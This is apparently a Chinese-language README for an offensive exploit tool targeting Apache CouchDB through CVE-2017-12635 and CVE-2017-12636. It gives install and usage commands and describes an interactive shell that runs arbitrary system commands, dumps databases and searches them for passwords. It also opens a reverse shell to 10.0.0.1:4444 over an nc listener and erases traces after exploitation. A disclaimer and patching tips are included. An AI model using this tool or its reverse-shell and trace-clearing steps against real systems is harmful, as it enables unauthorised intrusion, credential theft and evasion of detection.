本工具利用 Apache CouchDB 中的两个严重漏洞:
| CVE | 描述 | 严重程度 |
|---|---|---|
| CVE-2017-12635 | 通过 JSON 解析绕过实现权限提升 | 🔴 严重 |
| CVE-2017-12636 | 通过查询服务器实现远程代码执行 | 🔴 严重 |
| 版本 | 是否受影响 | 修复版本 |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ 是 | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ 是 | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ 是 | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ 是 | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ 否 | - |
curl http://target:5984/
✨ 功能特性
✅ 自动利用 - 一条命令搞定一切
✅ 交互式 Shell - 用户友好的命令界面
✅ 数据库查看器 - 浏览所有数据库和文档
✅ 完整 JSON 显示 - 查看完整的文档内容
✅ 全局搜索 - 在所有数据库中搜索关键词
✅ 系统命令 - 在目标上执行任意命令
✅ 反弹 Shell - 获取完整的交互式 Shell
✅ 命令历史 - 记录你的操作
✅ 自动清理 - 利用后清除痕迹
✅ 彩色输出 - 易于阅读和理解
📦 安装 前置要求 bash
python3 --version
克隆并安装 bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Requirements txt
requests>=2.25.0 urllib3>=1.26.0
🚀 使用方法 基本用法 bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
命令行选项 bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 命令
利用成功后,你将获得一个交互式 shell: 命令 描述 示例 db 显示所有数据库及文档数量 db view 查看数据库中的全部文档(完整 JSON) view passwords raw 显示服务器原始响应 raw admin count 统计数据库中的文档数量 count users search 在所有数据库中搜索关键字 search admin exec 执行系统命令 exec whoami reverse 建立反向 shell reverse 10.0.0.1 4444 history 显示命令历史 history help 显示此菜单 help exit 退出并清理 exit 📊 示例
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
查看数据库内容 bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] 正在设置到 10.0.0.1:4444 的反向 shell [!] 请确保监听器正在运行:nc -lvnp 4444 [?] 是否继续?(y/n):y [+] 反向 shell 已触发!
🖼️ 截图 漏洞利用实战
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot 数据库视图
https://via.placeholder.com/800x400?text=Database+View 反向 Shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ 免责声明
重要提示:本工具仅用于教育和经授权的测试目的。
🚫 请勿在未经明确许可的系统上使用
🚫 作者对任何滥用行为不承担责任
🚫 仅在受控环境或你自己的系统中使用
✅ 测试前务必获得书面授权
✅ 遵循负责任的披露实践
使用本工具即表示你同意这些条款。 🔐 安全提示
如果你是系统管理员:
立即升级到 CouchDB ≥ 1.7.0 或 ≥ 2.1.1
使用防火墙限制对 5984 端口的访问
启用身份验证并使用强密码
监控日志以发现可疑活动
定期对基础设施进行安全审计
快速修复 bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # 或最新版本
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 参考资料
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB 安全
Exploit-DB
👤 作者
darabium
GitHub:@darabium
Telegram:@darabium
⭐ 支持
如果你觉得这有用:
⭐ 给仓库加星
🐛 报告问题
🔧 贡献改进
📢 与他人分享
📄 许可证
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
用 ❤️ 为安全研究而制作
⬆ 返回顶部